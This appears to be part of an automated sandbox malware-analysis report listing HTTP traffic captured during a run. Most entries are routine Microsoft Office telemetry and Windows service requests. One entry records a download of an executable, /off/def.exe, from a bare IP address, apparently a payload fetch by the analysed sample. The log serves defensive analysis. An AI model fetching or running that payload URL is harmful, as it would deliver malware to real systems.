Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://learn.microsoft.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /mscc/lib/v2/wcp-consent.js HTTP/1.1Host: wcpstatic.microsoft.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /scripts/c/ms.jsll-4.min.js HTTP/1.1Host: js.monitor.azure.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=BvHOH9BD6Rwh8Ku&MD=Ymg+l5kW HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: href="https://www.facebook.com/sharer/sharer.php?u=${s}" equals www.facebook.com (Facebook)
Source: chromecache_91.8.dr, chromecache_103.8.dr	String found in binary or memory: href="https://www.linkedin.com/cws/share?url=${s}" equals www.linkedin.com (Linkedin)
